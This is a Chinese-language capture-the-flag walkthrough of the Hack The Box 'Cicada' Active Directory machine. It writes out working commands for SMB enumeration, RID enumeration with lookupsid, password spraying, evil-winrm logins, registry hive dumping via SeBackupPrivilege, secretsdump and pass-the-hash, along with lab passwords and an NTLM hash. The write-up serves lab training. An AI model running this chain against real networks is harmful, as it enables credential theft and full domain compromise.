[toc]
因为在外面实习,没有实验室100ms延迟的网,也是只能用pwnbox将就将就打了
信息收集
先nmap看看端口
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-20 01:55 CST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 01:55
Completed NSE at 01:55, 0.00s elapsed
Initiating NSE at 01:55
Completed NSE at 01:55, 0.00s elapsed
Initiating NSE at 01:55
Completed NSE at 01:55, 0.00s elapsed
Initiating Ping Scan at 01:55
Scanning 10.129.231.149 [4 ports]
Completed Ping Scan at 01:55, 0.27s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:55
Completed Parallel DNS resolution of 1 host. at 01:55, 0.00s elapsed
Initiating SYN Stealth Scan at 01:55
Scanning 10.129.231.149 [1000 ports]
Discovered open port 135/tcp on 10.129.231.149
Discovered open port 445/tcp on 10.129.231.149
Discovered open port 53/tcp on 10.129.231.149
Discovered open port 139/tcp on 10.129.231.149
Discovered open port 3269/tcp on 10.129.231.149
Discovered open port 88/tcp on 10.129.231.149
Discovered open port 389/tcp on 10.129.231.149
Discovered open port 636/tcp on 10.129.231.149
Discovered open port 464/tcp on 10.129.231.149
Discovered open port 3268/tcp on 10.129.231.149
Stats: 0:00:12 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 97.40% done; ETC: 01:56 (0:00:00 remaining)
Completed SYN Stealth Scan at 01:56, 12.73s elapsed (1000 total ports)
Initiating Service scan at 01:56
Scanning 10 services on 10.129.231.149
Completed Service scan at 01:56, 50.10s elapsed (10 services on 1 host)
Initiating OS detection (try #1) against 10.129.231.149
Retrying OS detection (try #2) against 10.129.231.149
Initiating Traceroute at 01:56
Completed Traceroute at 01:56, 0.25s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 01:56
Completed Parallel DNS resolution of 2 hosts. at 01:56, 0.00s elapsed
NSE: Script scanning 10.129.231.149.
Initiating NSE at 01:56
Completed NSE at 01:57, 40.03s elapsed
Initiating NSE at 01:57
Completed NSE at 01:57, 3.67s elapsed
Initiating NSE at 01:57
Completed NSE at 01:57, 0.00s elapsed
Nmap scan report for 10.129.231.149
Host is up (0.23s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-20 14:56:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-20T14:57:38+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
|_ssl-date: 2025-11-20T14:57:39+00:00; +7h00m00s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-20T14:57:38+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after: 2025-08-22T20:24:16
| MD5: 9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
|_ssl-date: 2025-11-20T14:57:39+00:00; +7h00m00s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (89%)
Aggressive OS guesses: Microsoft Windows Server 2022 (89%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.014 days (since Thu Nov 20 01:37:43 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-11-20T14:57:00
|_ start_date: N/A
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 233.42 ms 10.10.14.1
2 233.61 ms 10.129.231.149
NSE: Script Post-scanning.
Initiating NSE at 01:57
Completed NSE at 01:57, 0.00s elapsed
Initiating NSE at 01:57
Completed NSE at 01:57, 0.00s elapsed
Initiating NSE at 01:57
Completed NSE at 01:57, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.48 seconds
Raw packets sent: 2081 (95.248KB) | Rcvd: 61 (4.056KB)
445端口一般是SMB文件共享,在之前driver那个靶场里学到可以用scf文件去抓NTLM哈希,但这里没有网页可以传文件,跟着gpt学渗透思路
先看看有哪些共享文件是guest可以访问的
# 列出所有共享(匿名访问)
smbclient -N -L //10.129.231.149
smbclient -N //10.129.231.149/SHARENAME
# 然后在交互式 shell 中 ls、cd,看能否读文件
- NETLOGON
- 域控制器上的一个标准共享
- 存放 登录脚本 之类东西
- 很多域环境里对普通域用户甚至匿名都可能可读
- SYSVOL
- 域控制器上的核心共享
- 存放 GPO 策略、脚本、一些公共配置
- 也经常是可读的,很多信息收集都从这里开始
在 AD 场景里,
NETLOGON和SYSVOL是“标准 AD DC 共享”
首先尝试非默认共享目录能不能连上,如果能连上,再尝试执行命令
smb: \> ls # 列出当前目录文件
smb: \> cd 子目录名 # 切换目录
smb: \> get 文件名 # 下载文件到本地
smb: \> lcd /tmp # 设置本地下载目录
smb: \> exit # 退出
dev能连,但是没有ls权限,于是尝试HR

如果文件名里有空格,需要用引号包裹,下载下来之后拿到默认密码
Cicada$M6Corpb*@Lp#nZp!8
继续跟着gpt学渗透
AD 渗透的经典流程
现在你已经拿到了一个可能通杀“新员工”的默认密码,下一步就是:
枚举用户名 → 用这个密码去打登录 / Kerberos / SMB / LDAP 等服务
步骤 2:试试能不能匿名枚举域用户
方法 A:rpcclient
rpcclient -U "" 10.129.231.149
如果能进,里面执行:
rpcclient $> enumdomusers
rpcclient $> queryuser <RID或者用户名>
把有用的用户名存下来,写到一个 users.txt 里。
方法 B:LDAP 匿名枚举(如果允许)
ldapsearch -x -H ldap://10.129.231.149 -b "DC=cicada,DC=htb" "(objectClass=user)" sAMAccountName
从输出里把 sAMAccountName 抠出来当用户名列表。
步骤 3:用默认密码去做“密码喷洒”(password spray)
有了 users.txt 后,比如用 crackmapexec 或 kerbrute:
crackmapexec 示例:
crackmapexec smb 10.129.231.149 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
kerbrute 示例(如果你有):
kerbrute passwordspray \
-d cicada.htb \
users.txt \
'Cicada$M6Corpb*@Lp#nZp!8'
谁用了这个默认密码没改,就会直接登录成功,你就能拿到“用户名+密码”的组合。
背景知识补充
RPC = Remote Procedure Call = 远程过程调用
一句话:
“像在本机调用函数一样,去调用远程主机上的函数。”
比如在一台 Windows 服务器上,有这样一个“函数”(逻辑):
CreateUser(username, password)EnumUsers()
如果把这些“函数”通过 RPC 暴露出来,别的电脑就可以:
- 按 RPC 协议把“我要调用 EnumUsers()”这件事,打包成网络报文。
- 发到服务器。
- 服务器执行函数,把结果打包回传。
你不用管细节(字节序、打包格式),RPC 帮你搞定。
在 Windows 里:
- 会有很多系统服务对外暴露 RPC 接口,例如:
- SAMR:跟账户管理相关(列用户、创建用户等)。
- LSARPC:跟安全策略、SID 等相关。
rpcclient就是连到这些 RPC 服务,去用它们的“函数”。
ldapsearch 是一个命令行工具(程序),不是协议。
- 来自 OpenLDAP 套件,用来发 LDAP 请求。
- 它就是一个“LDAP 客户端”,帮你构造、发送 LDAP 报文,然后把结果打印出来。
你这条命令:
ldapsearch -x -H ldap://10.129.231.149 \
-b "DC=cicada,DC=htb" "(objectClass=user)" sAMAccountName
可以拆开理解:
-
协议层:用的是 LDAP 协议
-
工具层:发请求的是 ldapsearch
-
逻辑层:意思是
“匿名连接这个 LDAP 服务器,从 cicada.htb 这个目录根开始,找所有对象类型是 user 的条目,并把它们的 sAMAccountName 取出来”。
所以:
- LDAP = 协议 / 规则
- ldapsearch = 实现这个协议的一个工具(客户端)
LDAP 全称:Lightweight Directory Access Protocol
中文一般叫:轻量目录访问协议。
可以把它理解为:
“公司通讯录/组织架构数据库 的 访问协议”。
在 Windows 域 / AD 里,很多东西都存在“目录服务”里面,比如:
- 用户(账号)
- 组
- 电脑对象(机器帐号)
- 组织单位(OU)
- 邮箱的一些信息
LDAP 做的事:
- 定义了:客户端如何向目录服务器发请求:
- 登录(Bind)
- 搜索(Search)
- 新增 / 修改 / 删除条目
- 定义了:数据长什么样:树状结构(DN、CN、OU、DC 那些)。
在渗透视角,你现在常用的是:
利用 LDAP 协议,向 AD 问:“把你目录里所有 user 的登录名给我看看”。
crackmapexec(常简写 CME) 是一个专门用来“扫内网 / 探 Windows 域”的渗透测试框架。
可以把它当成:
“一个帮你把 SMB / WinRM / SSH / LDAP 等协议都打包好的多功能瑞士军刀”。
常见用途(高层理解就行):
- 批量测账号密码:
比如你有一堆用户:users.txt,一个常见密码Password123!,CME 帮你:- 去每台机器的 SMB / WinRM 尝试登录
- 返回哪台机器 / 哪个用户密码是对的
- 信息枚举(有凭据时):
列出共享、会话、补丁情况、域信息等。 - 执行命令 / 横向移动(有高权限时):
在一组主机上批量执行命令、dump hash 等。
重点:
它本身不是一个“协议”,而是一个工具 / 框架,底层是通过 SMB、WinRM、SSH、LDAP 等协议去和目标说话。
继续渗透
上一步中gpt给的枚举用户名思路都错误了,继续想办法枚举用户名
Cicada$M6Corpb*@Lp#nZp!8
第二天回来突然发现,当服务器和pwnbox都选新加坡的,就会得到

无敌了
看一眼htb这一步的提示
Enumerate the domain users with Impacket's lookupsid or netexec. Then conduct a password spray using the password.
没见过,继续跟着gpt学渗透
1. 用 netexec 匿名枚举域用户
1.1 先试试内置的 --users
netexec smb 10.129.231.149 -u '' -p '' --users
- 工具:netexec
- 协议:SMB + RPC(SAMR 接口)
- 作用:
要求目标通过 RPC 服务 把域里的用户列出来。
成功的话会打印一堆类似:
SMB 10.129.231.149 445 CICADA [+] CICADA\Administrator
SMB 10.129.231.149 445 CICADA [+] CICADA\some.user
1.2 如果 --users 没戏,就用 RID 爆破
netexec smb 10.129.231.149 -u '' -p '' --rid-brute
--rid-brute 500-550:对 RID 做枚举。- 作用:
通过 SAMR RPC 接口 依次问:RID=500 是谁、RID=501 是谁……
然后把“SID → 用户名”映射出来,后面做密码喷射用。
所以ntc这条路基本是行不通了,用lookupsid看看,成功
impacket-lookupsid [email protected]

Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
做密码喷射,看上去似乎成功了

接下来继续用ntc看
netexec smb 10.129.231.149 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares
尝试winrm登录
evil-winrm -i 10.129.231.149 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'
没登上,smb再去看看信息,跟匿名能拿到的信息基本一致
smbclient //10.129.231.149/SHARE -U 'cicada.htb/michael.wrightson'
# 提示输入密码的时候,粘贴:Cicada$M6Corpb*@Lp#nZp!8
试试用ldap找找信息
netexec ldap 10.129.231.149 \
-u 'michael.wrightson' \
-p 'Cicada$M6Corpb*@Lp#nZp!8' \
--users
突然又看见一个用户

david.orelious
aRt$Lp#7t*VQ!3
尝试用这个账号winrm登录
evil-winrm -i 10.129.231.149 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
还是登不上,继续找其他信息
netexec smb 10.129.231.149 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares
发现这个用户突然对dev有了读的权限
smbclient //10.129.231.149/DEV -U 'cicada.htb/david.orelious'

又找到一个用户

emily.oscars
Q!3@Lp#M6b*7t*Vt
evil-winrm -i 10.129.231.149 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
终于能登上了,接下来尝试提权

查看组权限
whoami /all
发现有备份文件的权限,看看gpt给的思路
- 提示:This privilege allows the user to create system backups.
→ 说明你有 SeBackupPrivilege / Backup Operators 权限。 - SeBackupPrivilege 允许你:
- 用备份语义 绕过 ACL,导出 SAM / SYSTEM / SECURITY / NTDS 之类的敏感文件。Hacking Articles+1
- 导出这些文件后,在本地用
secretsdump解析出:- 本机 / 域的账号 hash,尤其是 Administrator。
- 拿到 Administrator 的 NTLM hash 后,用 Pass-the-Hash(
evil-winrm -H)直接以 Administrator 身份登录。 - 得到管理员 WinRM shell → 读取 root flag / 进一步玩 AD。
将注册表文件备份并下载
*Evil-WinRM* PS> New-Item -ItemType Directory -Path C:\Temp -Force
*Evil-WinRM* PS> reg save HKLM\SAM C:\Temp\SAM
*Evil-WinRM* PS> reg save HKLM\SYSTEM C:\Temp\SYSTEM
*Evil-WinRM* PS> reg save HKLM\SECURITY C:\Temp\SECURITY
security文件下不下来,但是如果只要管理员NTLM哈希的话前两个也够了

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

2b87e7c93a3e8a0ea4a581937016f341
evil-winrm -i 10.129.231.149 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'
登录上之后拿到flag